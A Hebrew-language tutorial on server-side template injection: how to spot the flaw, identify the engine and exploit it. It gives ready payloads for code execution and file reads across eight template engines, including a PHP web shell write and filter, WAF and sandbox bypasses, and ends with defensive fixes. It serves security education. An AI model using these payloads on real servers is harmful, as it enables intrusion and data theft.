הזרקת תבניות - SSTI¶
מבוא¶
הזרקת תבניות בצד השרת (Server-Side Template Injection) היא חולשה קריטית שמתרחשת כאשר קלט של המשתמש משולב ישירות לתוך תבנית בצד השרת, במקום לעבור כפרמטר לתבנית. החולשה מאפשרת לתוקף להזריק ביטויים של מנוע התבניות, ובמקרים רבים להגיע להרצת קוד מרחוק (RCE).
בניגוד ל-XSS שמתרחש בצד הלקוח, SSTI מתרחש בצד השרת - מה שהופך אותו להרבה יותר מסוכן.
מתי נוצרת החולשה¶
חולשה נוצרת כאשר המפתח משלב קלט משתמש ישירות בתוך מחרוזת התבנית:
# קוד פגיע - קלט המשתמש מוזרק לתוך התבנית עצמה
@app.route('/greet')
def greet():
name = request.args.get('name', '')
template_string = f"<h1>Hello {name}!</h1>"
return render_template_string(template_string)
# קוד בטוח - קלט המשתמש עובר כפרמטר לתבנית
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template_string("<h1>Hello {{name}}!</h1>", name=name)
ההבדל קריטי: בקוד הפגיע, אם המשתמש שולח {{7*7}} כשם, מנוע התבניות יעבד את הביטוי ויחזיר Hello 49!.
זיהוי SSTI - עץ ההחלטות¶
השלב הראשון בתקיפה הוא זיהוי מנוע התבניות. כל מנוע משתמש בתחביר שונה:
שלב 1 - בדיקה בסיסית¶
שולחים את הקלט {{7*7}} ובודקים את התגובה:
- אם מוחזר
49- כנראה מנוע מבוסס Jinja2, Twig, או דומה - אם מוחזר
{{7*7}}כטקסט - ננסה תחביר אחר
שלב 2 - הבחנה בין מנועים¶
- אם מוחזר
7777777- זהו Jinja2 (Python) - אם מוחזר
49- זהו Twig (PHP)
שלב 3 - תחביר נוסף¶
${7*7} -> Freemarker, Velocity, Thymeleaf (Java)
#{7*7} -> Thymeleaf, Pebble (Java)
<%= 7*7 %> -> ERB (Ruby)
#{7*7} -> Slim (Ruby)
@(7*7) -> Razor (.NET)
{{= 7*7}} -> doT.js
עץ החלטות מלא¶
הזנת {{7*7}}
|
+-- מוחזר 49?
| |
| +-- הזנת {{7*'7'}}
| |
| +-- מוחזר 7777777? --> Jinja2
| +-- מוחזר 49? --> Twig
|
+-- לא מעובד?
|
+-- הזנת ${7*7}
| |
| +-- מוחזר 49? --> Freemarker / Velocity / Mako
|
+-- הזנת <%= 7*7 %>
| |
| +-- מוחזר 49? --> ERB
|
+-- הזנת #{7*7}
|
+-- מוחזר 49? --> Pebble / Thymeleaf
Jinja2 - ניצול מלא (Python/Flask)¶
מנוע Jinja2 הוא הנפוץ ביותר ב-Flask ו-Django (במידה מסוימת).
זיהוי¶
גישה לאובייקטים של Python דרך MRO¶
בסביבת Jinja2 אין גישה ישירה ל-os או subprocess, אבל אפשר להגיע אליהם דרך שרשרת המחלקות של Python:
# שלב 1 - גישה למחלקת הבסיס object
{{''.__class__}}
# פלט: <class 'str'>
# שלב 2 - טיפוס במעלה היררכיית המחלקות
{{''.__class__.__mro__}}
# פלט: (<class 'str'>, <class 'object'>)
# שלב 3 - רשימת כל תת-המחלקות של object
{{''.__class__.__mro__[1].__subclasses__()}}
# פלט: רשימה ארוכה של מחלקות
מציאת מחלקה שימושית להרצת קוד¶
# חיפוש os._wrap_close (בדרך כלל באינדקס משתנה)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{ c.__init__.__globals__['popen']('id').read() }}
{% endif %}
{% endfor %}
שיטות RCE נפוצות ב-Jinja2¶
# שיטה 1 - דרך config
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# שיטה 2 - דרך request
{{request.application.__self__._get_data_for_json.__globals__['os'].popen('id').read()}}
# שיטה 3 - דרך cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}
# שיטה 4 - דרך joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}
# שיטה 5 - דרך namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}
קריאת קבצים ללא RCE¶
# קריאת קובץ דרך builtins
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# הערה: האינדקס [40] משתנה בין גרסאות Python
# יש לחפש את FileLoader או _IOBase
עקיפת סינון - Bypass¶
# אם נחסם __class__
{{''|attr('\x5f\x5fclass\x5f\x5f')}}
# אם נחסמו נקודות
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
# שימוש בפילטרים של Jinja2
{%set a='__cla'+'ss__'%}{{''|attr(a)}}
# קידוד hex
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')}}
# שימוש ב-request.args לעקיפה
{{request|attr(request.args.a)|attr(request.args.b)}}
# כאשר: ?a=__class__&b=__mro__
Twig - ניצול מלא (PHP/Symfony)¶
זיהוי¶
הרצת קוד - גרסאות ישנות (לפני 1.x)¶
// גרסאות ישנות של Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// שיטה נוספת
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat /etc/passwd")}}
הרצת קוד - גרסאות חדשות¶
// Twig 2.x+ - שימוש ב-filter
{{['id']|filter('system')}}
// שימוש ב-map
{{['id']|map('system')}}
// שימוש ב-reduce
{{[0]|reduce('system','id')}}
// שימוש ב-sort
{{['id',0]|sort('system')}}
קריאת קבצים ב-Twig¶
Freemarker - ניצול מלא (Java)¶
מנוע Freemarker נפוץ מאוד באפליקציות Java.
זיהוי¶
הרצת קוד¶
// שיטה 1 - Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
// שיטה 2 - ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}
// שיטה 3 - JythonRuntime (אם Jython זמין)
<#assign jython="freemarker.template.utility.JythonRuntime"?new()>
<@jython>import os; os.system("id")</@jython>
קריאת קבצים¶
// קריאת קובץ
<#assign file=object("java.io.File", "/etc/passwd")>
${file.toString()}
// שיטה חלופית
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
Velocity - ניצול (Java)¶
זיהוי¶
הרצת קוד¶
// שיטה 1 - Runtime
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($reader = $class.inspect("java.io.BufferedReader").type.getConstructor($class.inspect("java.io.Reader").type).newInstance($class.inspect("java.io.InputStreamReader").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($process.getInputStream())))
#set($output = "")
#foreach($line in [1..100])
#set($line = $reader.readLine())
#if($line)
#set($output = "$output$line\n")
#end
#end
$output
Pebble - ניצול (Java)¶
זיהוי¶
הרצת קוד¶
// שימוש ב-Runtime
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes, 'UTF-8'] | join(','))).split(',')[0] }}
Smarty - ניצול (PHP)¶
זיהוי¶
הרצת קוד¶
// שיטה ישירה
{system('id')}
// שימוש ב-tags
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Mako - ניצול (Python)¶
זיהוי¶
הרצת קוד¶
# ב-Mako יש גישה ישירה ל-Python
<%
import os
result = os.popen('id').read()
%>
${result}
# שורה אחת
${__import__('os').popen('id').read()}
Thymeleaf - ניצול (Java/Spring)¶
זיהוי¶
Thymeleaf מעבד ביטויים בתוך תכונות HTML:
הרצת קוד¶
// שימוש ב-Spring EL
${T(java.lang.Runtime).getRuntime().exec('id')}
// בתוך URL expression
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
// Preprocessing - נקודת הזרקה עיקרית
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
חשוב: ב-Thymeleaf, הביטוי __...__ הוא preprocessing שמתבצע לפני העיבוד הרגיל, וזו נקודת ההזרקה העיקרית.
טכניקות עקיפת Sandbox¶
עקיפת Sandbox ב-Jinja2¶
# שימוש ב-lipsum (פונקציה מובנית)
{{lipsum.__globals__['os'].popen('id').read()}}
# שימוש ב-range
{{range.__init__.__globals__['os'].popen('id').read()}}
# שרשור מחרוזות לעקיפת מילות מפתח חסומות
{% set a = 'po' %}{% set b = 'pen' %}
{{cycler.__init__.__globals__.os[a~b]('id').read()}}
עקיפת WAF¶
# שימוש בקידוד Unicode
{{''['\u005f\u005fclass\u005f\u005f']}}
# שימוש ב-format string
{{('%c'*9)%(95,95,99,108,97,115,115,95,95)}}
# שימוש ב-|attr ו-|join
{{()|attr(["__cla","ss__"]|join)}}
הגנה מפני SSTI¶
עקרונות¶
- לעולם לא לשלב קלט משתמש בתוך מחרוזת התבנית - להעביר כפרמטר בלבד
- להשתמש בתבניות חסרות לוגיקה (Logic-less templates) כמו Mustache/Handlebars
- להפעיל Sandbox של מנוע התבניות אם קיים
- לבצע ולידציה על הקלט - לסנן תווים מיוחדים כמו
{{ }} ${ } <# #>
דוגמה לקוד מתוקן¶
# פגיע
@app.route('/page')
def page():
title = request.args.get('title')
return render_template_string(f'<h1>{title}</h1>')
# מתוקן - פרמטר בתבנית
@app.route('/page')
def page():
title = request.args.get('title')
return render_template_string('<h1>{{ title }}</h1>', title=title)
# מתוקן - שימוש בקובץ תבנית
@app.route('/page')
def page():
title = request.args.get('title')
return render_template('page.html', title=title)
הגדרת Sandbox ב-Jinja2¶
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# ה-sandbox חוסם גישה לתכונות מסוכנות כמו __class__
template = env.from_string("Hello {{ name }}!")
result = template.render(name=user_input)
סיכום¶
SSTI היא אחת החולשות הקריטיות ביותר בעולם אבטחת האתרים. היא מאפשרת במרבית המקרים להגיע ל-RCE מלא על השרת. נקודות המפתח:
- תמיד לבדוק עם payloads בסיסיים כמו
{{7*7}}ו-${7*7} - להשתמש בעץ ההחלטות לזיהוי מנוע התבניות
- כל מנוע דורש שרשרת ניצול שונה
- ההגנה הטובה ביותר היא להפריד לחלוטין בין קלט המשתמש לתבנית